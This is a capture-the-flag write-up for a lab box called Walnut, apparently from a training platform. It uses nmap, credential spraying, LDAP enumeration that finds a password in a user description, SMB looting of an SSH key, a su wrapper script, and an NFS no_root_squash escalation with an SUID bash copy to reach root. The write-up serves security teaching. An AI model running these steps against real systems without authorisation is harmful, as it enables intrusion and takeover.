> ## Documentation Index
> Fetch the complete documentation index at: https://www.nthsec.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Walnut

> [!NOTE]
>
> You have been assigned a penetration test on a critical Linux server in the client's environment. The primary objective is to gain root-level access to this system to demonstrate maximum impact from the engagement.

![Image](https://mintcdn.com/nthsec/H63fNiN4oklWf47i/images/image-122.png?fit=max\&auto=format\&n=H63fNiN4oklWf47i\&q=85\&s=3ecbfeb695194395a9e891cddb167a2e)

### **Initial Access**

The client has provided you with credentials for an "Assumed Breach" scenario.

```text theme={null}
username: larryburns
password: IloveMontgommery!
Host: walnut.local
```

# Enumeration

As always, starting things off with an nmap scan.

```shellscript theme={null}
└─$ nmap -T4 -A 10.1.172.242 -oN nmap.txt
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-19 21:27 -0400
Nmap scan report for 10.1.172.242
Host is up (0.042s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a1:50:1d:04:de:66:51:74:29:2d:8e:87:af:5d:7d:17 (ECDSA)
|_  256 4a:db:47:8c:fa:61:66:2e:22:e5:df:da:bb:b3:ce:c5 (ED25519)
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      42961/udp6  mountd
|   100005  1,2,3      56309/tcp6  mountd
|   100005  1,2,3      56849/udp   mountd
|   100005  1,2,3      58835/tcp   mountd
|   100021  1,3,4      39495/tcp6  nlockmgr
|   100021  1,3,4      40535/tcp   nlockmgr
|   100021  1,3,4      50514/udp6  nlockmgr
|   100021  1,3,4      53028/udp   nlockmgr
|   100024  1          35797/tcp   status
|   100024  1          45162/udp   status
|   100024  1          46043/udp6  status
|   100024  1          52993/tcp6  status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
139/tcp  open  netbios-ssn Samba smbd 4
389/tcp  open  ldap        OpenLDAP 2.2.X - 2.3.X
445/tcp  open  netbios-ssn Samba smbd 4
2049/tcp open  nfs_acl     3 (RPC #100227)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=10/19%OT=22%CT=1%CU=31890%PV=Y%DS=3%DC=T%G=Y%TM=6AD6C3
OS:8B%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=A)SE
OS:Q(SP=101%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=104%GCD=1%ISR=10C%TI=Z
OS:%CI=Z%II=I%TS=A)SEQ(SP=104%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=FF%G
OS:CD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M510ST11NW7%O2=M510ST11NW7%O3=M5
OS:10NNT11NW7%O4=M510ST11NW7%O5=M510ST11NW7%O6=M510ST11)WIN(W1=F4B3%W2=F4B3
OS:%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M510NNSNW7%C
OS:C=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%
OS:T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD
OS:=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=4
OS:0%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: WALNUT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_clock-skew: -1s
| smb2-time: 
|   date: 2026-10-20T01:27:37
|_  start_date: N/A

TRACEROUTE (using port 53/tcp)
HOP RTT      ADDRESS
1   42.04 ms 10.200.0.1
2   ...
3   44.50 ms 10.1.172.242

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.61 seconds
```

> [!NOTE]
>
> Make sure to add the following line to /etc/hosts:\
> \
> 10.1.172.242 walnut.local

I also ran a UDP scan:

```shellscript theme={null}
└─$ nmap -T4 -sU 10.1.172.242         
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-19 21:30 -0400
Warning: 10.1.172.242 giving up on port because retransmission cap hit (6).
Stats: 0:09:47 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 60.13% done; ETC: 21:46 (0:06:29 remaining)
Nmap scan report for walnut.local (10.1.172.242)
Host is up (0.044s latency).
Not shown: 977 closed udp ports (port-unreach)
PORT      STATE         SERVICE
68/udp    open|filtered dhcpc
111/udp   open          rpcbind
137/udp   open          netbios-ns
138/udp   open|filtered netbios-dgm
207/udp   open|filtered at-7
1025/udp  open|filtered blackjack
16430/udp open|filtered unknown
16548/udp open|filtered unknown
17332/udp open|filtered unknown
17505/udp open|filtered unknown
18832/udp open|filtered unknown
19273/udp open|filtered unknown
20848/udp open|filtered unknown
29823/udp open|filtered unknown
32931/udp open|filtered unknown
41896/udp open|filtered unknown
43824/udp open|filtered unknown
49173/udp open|filtered unknown
49197/udp open|filtered unknown
49202/udp open|filtered unknown
49207/udp open|filtered unknown
54281/udp open|filtered unknown
60381/udp open|filtered unknowns
```

A lot more open ports than I expected! We have:

* 22 (SSH)
* LDAP (389)
* SMB (139/445)
* NFS
* UDP port 207
* UDP Port 1025

What is most odd to me about these ports is how this box is claiming to be a **linux** box, despite there being common windows services open in SMB and LDAP.

Regardless, we will continue enumerating to first see what access we have. To do this, I will spray our given creds against SSH, LDAP, and SMB using nxcspray:

```shellscript theme={null}
nxcspray ssh,ldap,smb walnut.local -u 'larryburns' -p 'IloveMontgommery!'
```

```shellscript theme={null}
[+] Spraying protocol: ssh
    -> Target: walnut.local
SSH         10.1.172.242    22     walnut.local     [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.18
SSH         10.1.172.242    22     walnut.local     [-] larryburns:IloveMontgommery!
[+] Spraying protocol: ldap
    -> Target: walnut.local
[21:31:12] ERROR    Exception while calling proto_flow() on target walnut.local: Error in searchRequest -> unwillingToPerform:              connection.py:176
                    authentication required                                                                                                                  
[+] Spraying protocol: smb
    -> Target: walnut.local
SMB         10.1.172.242    445    WALNUT           [*] Unix - Samba (name:WALNUT) (domain:local) (signing:False) (SMBv1:False) 
SMB         10.1.172.242    445    WALNUT           [+] local\larryburns:IloveMontgommery! (Guest)
```

We don't authenticate to SSH or LDAP, but we do authenticate as a guest to SMB!

![Image](https://mintcdn.com/nthsec/H63fNiN4oklWf47i/images/image-123.png?fit=max\&auto=format\&n=H63fNiN4oklWf47i\&q=85\&s=baf7484224344d1003b29a5db39c6ee7)

Let's take a closer look at what shares might be open:

```shellscript theme={null}
nxc smb walnut.local -u 'larryburns' -p 'IloveMontgommery!' --shares
```

![Image](https://mintcdn.com/nthsec/H63fNiN4oklWf47i/images/image-124.png?fit=max\&auto=format\&n=H63fNiN4oklWf47i\&q=85\&s=71474c2bc7662f61fb1f193a9b29f4b5)

Unfortunately, while there is an 'automation' custom share, it doesn't appear as if we have any READ or WRITE access to it.

Moving down the list of ports we can enumerate, let's check out NFS next. We can enumerate NFS using rpcinfo and showmount to confirm `nfs_acl` is installed. but we see that there aren't actually any mounted file system:

```shellscript theme={null}
rpcinfo -p 10.1.172.242
showmount -e 10.1.172.242
```

![Image](https://mintcdn.com/nthsec/H63fNiN4oklWf47i/images/image-126.png?fit=max\&auto=format\&n=H63fNiN4oklWf47i\&q=85\&s=23f66f8aa31c69b436d8d916895bf0a7)

## Enumerating LDAP

Going back to LDAP, I noticed something odd. This server is running OpenLDAP 2.2.X - 2.3.X. Some quick googling reveals that the server *may* be vulnerable to  Kerberos KBIND Buffer Overflow, an RCE up to 2.3.x in OpenLDAP.

But before we explore that further, we should do some basic enumeration first. Trying our given creds, we find that we don't actually authenticate.

```shellscript theme={null}
└─$ ldapsearch -H ldap://10.1.172.242 \
  -D "cn=larryburns,dc=walnut,dc=local" \
  -w 'IloveMontgommery!' \ 
  -b "dc=walnut,dc=local" \   
  "(objectClass=posixAccount)"
ldap_bind: Invalid credentials (49)
```

We can provide creds differently though! If we provide the ou of `People`and use `-x `authentication (simple authentication) alongside the "secure prompt" with `-W`, we can query information about LDAP on walnut!

```shellscript theme={null}
└─$ ldapsearch -x -H ldap://walnut.local -D "uid=larryburns,ou=People,dc=walnut,dc=local" -W -b "" -s base "+" "*"
Enter LDAP Password: 
# extended LDIF
#
# LDAPv3
# base <> with scope baseObject
# filter: (objectclass=*)
# requesting: + * 
#

#
dn:
objectClass: top
objectClass: OpenLDAProotDSE
structuralObjectClass: OpenLDAProotDSE
configContext: cn=config
namingContexts: dc=walnut,dc=local
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 1.3.6.1.4.1.4203.1.10.1
supportedControl: 1.3.6.1.1.22
supportedControl: 1.2.840.113556.1.4.319
supportedControl: 1.2.826.0.1.3344810.2.3
supportedControl: 1.3.6.1.1.13.2
supportedControl: 1.3.6.1.1.13.1
supportedControl: 1.3.6.1.1.12
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedExtension: 1.3.6.1.1.8
supportedExtension: 1.3.6.1.1.21.3
supportedExtension: 1.3.6.1.1.21.1
supportedFeatures: 1.3.6.1.1.14
supportedFeatures: 1.3.6.1.4.1.4203.1.5.1
supportedFeatures: 1.3.6.1.4.1.4203.1.5.2
supportedFeatures: 1.3.6.1.4.1.4203.1.5.3
supportedFeatures: 1.3.6.1.4.1.4203.1.5.4
supportedFeatures: 1.3.6.1.4.1.4203.1.5.5
supportedLDAPVersion: 3
supportedSASLMechanisms: SCRAM-SHA-512
supportedSASLMechanisms: SCRAM-SHA-384
supportedSASLMechanisms: SCRAM-SHA-256
supportedSASLMechanisms: SCRAM-SHA-224
supportedSASLMechanisms: SCRAM-SHA-1
supportedSASLMechanisms: DIGEST-MD5
supportedSASLMechanisms: NTLM
supportedSASLMechanisms: CRAM-MD5
entryDN:
subschemaSubentry: cn=Subschema

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
```

We can narrow down our search a little bit, instead of searching at the root of the LDAP server, we can look at objects, in this case we can look at the users objects specifically:

```shellscript theme={null}
─$ ldapsearch -x -H ldap://walnut.local \
  -D "uid=larryburns,ou=People,dc=walnut,dc=local" \
  -W \
  -b "dc=walnut,dc=local" \
  "(objectClass=person)" \
  dn cn uid mail
Enter LDAP Password: 
# extended LDIF
#
# LDAPv3
# base <dc=walnut,dc=local> with scope subtree
# filter: (objectClass=person)
# requesting: dn cn uid mail 
#

# automation, People, walnut.local
dn: uid=automation,ou=People,dc=walnut,dc=local
uid: automation
cn: automation

# larryburns, People, walnut.local
dn: uid=larryburns,ou=People,dc=walnut,dc=local
uid: larryburns
cn: larryburns

# briangeoff, People, walnut.local
dn: uid=briangeoff,ou=People,dc=walnut,dc=local
uid: briangeoff
cn: briangeoff

# search result
search: 2
result: 0 Success

# numResponses: 4
# numEntries: 3
```

We see that there are 3 users:

* automation
* larryburns
* briangeoff

This could come in handy later if we need to do password spraying.

Alongside the users object, we can also query all the OUs and Groups on the server:

```shellscript theme={null}
└─$ ldapsearch -x -H ldap://walnut.local \
  -D "uid=larryburns,ou=People,dc=walnut,dc=local" \
  -W \
  -b "dc=walnut,dc=local" \
  "(|(objectClass=organizationalUnit)(objectClass=groupOfNames)(objectClass=posixGroup))" \
  dn cn member memberUid gidNumber
Enter LDAP Password: 

# extended LDIF
#
# LDAPv3
# base <dc=walnut,dc=local> with scope subtree
# filter: (|(objectClass=organizationalUnit)(objectClass=groupOfNames)(objectClass=posixGroup))
# requesting: dn cn member memberUid gidNumber 
#

# People, walnut.local
dn: ou=People,dc=walnut,dc=local

# Groups, walnut.local
dn: ou=Groups,dc=walnut,dc=local

# automation, Groups, walnut.local
dn: cn=automation,ou=Groups,dc=walnut,dc=local
cn: miners
cn: automation
gidNumber: 7789
memberUid: automation

# larryburns, Groups, walnut.local
dn: cn=larryburns,ou=Groups,dc=walnut,dc=local
cn: miners
cn: larryburns
gidNumber: 1001
memberUid: larryburns

# briangeoff, Groups, walnut.local
dn: cn=briangeoff,ou=Groups,dc=walnut,dc=local
cn: miners
cn: briangeoff
gidNumber: 1000
memberUid: briangeoff

# search result
search: 2
result: 0 Success

# numResponses: 6
# numEntries: 5
```

Outside of the already discovered users and groups, we find that each group has a `cn: miners` value. That suggests `miners` could be a shared group name or a classification represented in the directory.

# Initial Foothold: Creds via LDAP Enumeration

We can keep enumerating down this path by dumping attributes for all three users we found:

```shellscript highlight={24} focus={24} theme={null}
┌──(kali㉿kali)-[~/HackSmarter/Walnut]
└─$ ldapsearch -x -H ldap://walnut.local \
  -D "uid=larryburns,ou=People,dc=walnut,dc=local" \
  -W \
  -b "ou=People,dc=walnut,dc=local" \
  "(objectClass=*)" "*"
[...brevity...]

# automation, People, walnut.local
dn: uid=automation,ou=People,dc=walnut,dc=local
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: automation
sn: automation
givenName: automation
cn: automation
displayName: automation
uidNumber: 7789
gidNumber: 7789
gecos: automation
loginShell: /bin/bash
homeDirectory: /home/automation
description: old pw [PASSWORD REDACTED] please change pw on all servers

# briangeoff, People, walnut.local
[...brevity...]

# larryburns, People, walnut.local
[...brevity...]

# search result
search: 2
result: 0 Success

# numResponses: 5
# numEntries: 4
```

Hooray! We found some creds in the description field of the `automation` user!

# Lateral Movement: Authentication as Automation

We authenticate and can read the automation and print share, and write to the automation share!

![Image](https://mintcdn.com/nthsec/H63fNiN4oklWf47i/images/image-128.png?fit=max\&auto=format\&n=H63fNiN4oklWf47i\&q=85\&s=f61f01bb4e438637fbaf8d460c513895)

I will export all of the files from the share using nxc:

```shellscript theme={null}
nxc smb walnut.local -u 'automation' -p 'REDACT' -M spider_plus -o DOWNLOAD_FLAG=True OUTPUT_FOLDER=./
```

![Image](https://mintcdn.com/nthsec/H63fNiN4oklWf47i/images/image-129.png?fit=max\&auto=format\&n=H63fNiN4oklWf47i\&q=85\&s=d83c0747c7550b1a1ea228e6388d021a)

We can obtain the user flag here in the automation folder, which looks like it is a mirror of a home directory in linux:

![Image](https://mintcdn.com/nthsec/H63fNiN4oklWf47i/images/image-130.png?fit=max\&auto=format\&n=H63fNiN4oklWf47i\&q=85\&s=b005336cd14eab7da176f8edfc58c6a2)

From here we can also grab automation's SSH key and use it to get a stable shell on the machine

![Image](https://mintcdn.com/nthsec/H63fNiN4oklWf47i/images/image-131.png?fit=max\&auto=format\&n=H63fNiN4oklWf47i\&q=85\&s=9e9387b6c991de939f6cf4eaccdd65ea)

![Image](https://mintcdn.com/nthsec/H63fNiN4oklWf47i/images/image-132.png?fit=max\&auto=format\&n=H63fNiN4oklWf47i\&q=85\&s=1fcb3d955f4bc3693989291b0c2006a0)

# Lateral Movement: Script as localjob3

First thing's first, we find this script running in automations' home directory:

```shellscript theme={null}
automation@walnut:~/scripts$ cat runScript.sh 
#!/bin/bash

PARM1="$1"
PARM2=`echo -n "$1" | md5sum | cut -d' ' -f 1`
PARM3="$2"
DATE=`date +%d.%m.%Y-%Hh%m.%S`

su - "$PARM1" -c "$PARM3" < /home/automation/.hidden/"$PARM2" > /home/automation/scripts/logs/"$1"-"$DATE".log
```

Looking at the script we are seeing that it is taking su -, so switching user and the .hidden file contains md5 hashes, which the script apperas to be from usernames. Looking at the other users on the box and md5hashing each of them, the only backup file contains a string, which could be a password, do localjob3!

![Image](https://mintcdn.com/nthsec/H63fNiN4oklWf47i/images/image-135.png?fit=max\&auto=format\&n=H63fNiN4oklWf47i\&q=85\&s=83a7676701785c255108256960628de9)

We can su to localjob3 and authenticate!

![Image](https://mintcdn.com/nthsec/H63fNiN4oklWf47i/images/image-134.png?fit=max\&auto=format\&n=H63fNiN4oklWf47i\&q=85\&s=82afcaaf57c2f41282beffd7c05a54f2)

# Privilege Escalation: NFS

Looking at our pemrissions, we have sudo -l on systemctl!

```text theme={null}
localjob3@walnut:/home/automation/scripts$ sudo -l
Matching Defaults entries for localjob3 on walnut:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User localjob3 may run the following commands on walnut:
    (ALL) NOPASSWD: /usr/bin/systemctl restart nfs-kernel-server.service
```

Let's check out what this service is all about. This is an interesting sudo permission to have because restarting a service only matters when we control some aspect of that service and what the service starts.

```shellscript theme={null}
localjob3@walnut:/home/automation$ systemctl cat nfs-kernel-server.service
# /usr/lib/systemd/system/nfs-server.service
[Unit]
[...brevity...]

[Service]
Type=oneshot
RemainAfterExit=yes
ExecStartPre=-/usr/sbin/exportfs -r
ExecStart=/usr/sbin/rpc.nfsd
ExecStop=/usr/sbin/rpc.nfsd 0
ExecStopPost=/usr/sbin/exportfs -au
ExecStopPost=/usr/sbin/exportfs -f

ExecReload=-/usr/sbin/exportfs -r

[Install]
WantedBy=multi-user.targeb
```

We see the important lines are underneath the \[Service] section, where the executable is actually being started. Unfortunately, we don't have direct control over any of these files and they aren't overwritable, so we must pivot to a more standard approach with NFS, which is looking toward NFS squashing. To perform and NFS squash, we need write permissions on `/etc/exports` ... which we don't have, only read.

![Image](https://mintcdn.com/nthsec/YQos89ZVgNMcm2xz/images/image-136.png?fit=max\&auto=format\&n=YQos89ZVgNMcm2xz\&q=85\&s=3814df0b589ee498ef74de7decb7b93b)

But what is that "+" at the end of the permissions? This signifies that there is some kind of [access control list](https://www.geeksforgeeks.org/linux-unix/set-file-permissions-linux/) (ACL) controlling the file permissions. To look at these additionally set permissions we can run `getfacl:`

![Image](https://mintcdn.com/nthsec/YQos89ZVgNMcm2xz/images/image-137.png?fit=max\&auto=format\&n=YQos89ZVgNMcm2xz\&q=85\&s=51ad4675c2a02972c56227bb97f0ee65)

Looking at the output, we see that through the ACL our user `localjob3` actually *does* have write permissions on the file! With this, we can follow a standard `no_root_squash`[ exploit!](https://hacktricks.wiki/en/linux-hardening/interesting-files-permissions/nfs-no_root_squash-misconfiguration-pe.html)

![Image](https://mintcdn.com/nthsec/YQos89ZVgNMcm2xz/images/image-138.png?fit=max\&auto=format\&n=YQos89ZVgNMcm2xz\&q=85\&s=57adfec77d7a7fc8d24a30f8c78a3c17)

On our kali machine, we can run the following sequence of commands to mount our file system to walnut's, then create an SUID copy of `/bin/bash` which we will use on the shared folder in Walnut.

```shellscript wrap theme={null}
┌──(kali㉿kali)-[~/HackSmarter/Walnut/10.1.172.242/automation]
└─$ sudo mount -t nfs walnut.local:/srv /mnt/
                                                                                                                                                   
┌──(kali㉿kali)-[~/HackSmarter/Walnut/10.1.172.242/automation]
└─$ sudo cp /bin/bash /mnt
                                                                                                                                                             
┌──(kali㉿kali)-[~/HackSmarter/Walnut/10.1.172.242/automation]
└─$ sudo chmod +s /mnt/bash
```

Going back to our walnut terminal, we can now go to the mapped `/srv` directory, run `bash -p` to activate the SUID bit and drop into a root shell where we can claim `root.txt` !

![Image](https://mintcdn.com/nthsec/YQos89ZVgNMcm2xz/images/image-139.png?fit=max\&auto=format\&n=YQos89ZVgNMcm2xz\&q=85\&s=b57af6ab89b85773762a77e667ab6786)

This box was quite a fun one! I have never seen ACL's on linux before, but thankfully that "+" gave it away. Happy hacking!


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.